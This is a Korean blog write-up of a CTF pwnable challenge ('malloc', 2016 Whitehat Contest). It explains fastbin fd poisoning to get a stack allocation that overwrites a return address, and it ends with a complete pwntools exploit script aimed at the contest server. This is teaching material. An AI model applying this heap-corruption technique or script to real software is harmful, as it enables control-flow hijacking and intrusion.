튜기's blogggg

2016화이트햇콘테스트 malloc

by St1tch

힙 청크를 이용한 문제였다.

32bit에 대해서 문서만 봐서 64bit는 뭐 어떻게 해야할지 몰랐는데 하고 나서보니 비슷했다.



크게 add, free, modify 함수가 있고, 코드자체는 비교적 간단해서 말로 설명을 하자면 

 최대 32byte까지 malloc을 5번 할 수 있고, 또한 원하는 힙을 free 시킬 수 있다.

여기서 modify함수가 중요한데 한번 malloc 된 힙주소를 32byte까지 수정할 수 있다.


malloc되는 heap의 크기가 작기 때문에 fastbin으로 관리가 된다. 

이 문제에서는 free를 하고 난 이후, modify를 통해 다음 malloc이 발생할 때 fastbin에 들어가는 fd를 내가 원하는 주소로 수정할 수 있따.


이글에 쓰어진 공격은  malloc -> free -> modify -> malloc -> malloc 순서로 진행했다.



mallloc * 3 -> free -> free -> modify -> free -> malloc * 3

이런식으로도 fastbin을 조작할 수있다. 

어처피 modify함수 때문에 다양한 공격방법이 있을거 같다.



1 - malloc이후

우선 제일 처음 malloc을 했을 때의 heap상태이다.

fastbin는 0으로 채워져 있다.



2 - free이후

첫 번째 chunk를 free했을 때의 상태이다.

fastbin에는 free가 된 chunk의 주소가 들어가 있다.

물론 한번 malloc하고 바로 free를 했기 때문에, fd는 당연히 0이 들어가있다.



3 - modify 이후

여기서 다음 malloc이 되면 할당이 될 주소의 fd부분, 즉 0xd32020을 

modify 함수를 통해 내가 할당하고자 하는 주소로 수정을 했다.



4 - malloc 이후

다시 malloc을 하면 fastbin에 있던 주소로 할당이 되고, 

fastbin에 있던 chunk의  fd 에 적어놨던 fake chunk 주소는 

fastbin에 들어가 다음 malloc때 할당이 될 주소가 된다.


여기서 다음 할당할 주소를 저기로 한 이유를 살펴보면, malloc을 하는 함수 내에서 위와 같은 과정이 있다.

근데 여기서 봐야할 것이 입력을 32byte보다 크게해도 스택에는 그대로 저장이 되있고, 할당만 32byte만큼 하는 것이다.

따라서 size를 내가 원하는 값으로 설정할 수 있기때문에 size - 8의 주소에 할당을 하는것이다.

또 프로그램이 처음 시작될 때, main의 rbp의 주소 - 8의 값을 알려주기 때문에 스택주소를 따로 알아낼 필요가 없다.



근데 size의 위치가 ebp-0x18이다.

그러면 ebp-0x20의 위치를 fake chunk의 주소로 주게되면, ebp-0x10부터 32byte원하는 값을 쓸 수 있다.

즉, ret를 수정하여 흐름을 내가 원하는 곳으로 바꿀 수 있다.

이제까지의 캡처들을 보면 0xd32018의 값이 0x31인 것을 알 수 있다.

이 값은 size를 나타내며 32byte + 16byte(prev_size(8) + size(8)) + 1byte(inuse) = 0x31byte이다.


주의해야할 것이 다음으로 할당할 chunk의 사이즈를 0x31로 같게 해줘야 하는데 

(0x30~ 0x3b의 크기도 가능한데 왜 0x30~0x38까지가 아닌지 모르겠다;;;;;)

이를 위해서는 내가할당하고 싶은 주소+8 의 값이 0x31이어야한다.



5 - 2번째 malloc 직전

위의 조건에 맞게 fake chunk의 크기를 0x31로 같게 설정을 하였다.

인터럽트가 발생하지 않는다면 malloc을 하는 함수의 ret까지 덮을 수 있다.



  

6 - 2번째 malloc이후

실제로 할당된 주소가 내가 원하던 stack의 주소가 되었다.

이제 ret를 마음대로 수정할 수 있따.





from pwn import *

local = False
if local :
    s = process('./malloc')
    print util.proc.pidof(s)
    pause()
else :
    s = remote('121.78.147.153', 5559)

def command(*args) :
    s.recvuntil('>')
    for i in args :
        i = str(i)
        s.sendline(i)
        sleep(0.2)

malloc  = lambda size, data : command(1, size, data)
free    = lambda index : command(2, index)
modify  = lambda index, data: command(4, index, data)

stoh    = lambda x : int(x.lstrip('0x'), 16)

def solver() :
    flag = 0x400986
    main_rbp = stoh(s.readline().split()[3]) + 8
    malloc_rbp = main_rbp - 0x40
    p = log.progress('status : ')
    log.info('main_rbp = {0}'.format(hex(main_rbp)))

    p.status('malloc')
    malloc(32, 'a'*8)

    p.status('free')
    free(1)

    p.status('modify fake heap chunk')
    modify(1, p64(malloc_rbp-0x20))

    p.status('flag trigger')
    malloc(32, 'A'*8)
    malloc(0x31, 'B'*0x18 + p64(flag))

    p.success('Good!')
    s.interactive()

if __name__ == '__main__' :
    solver()





블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기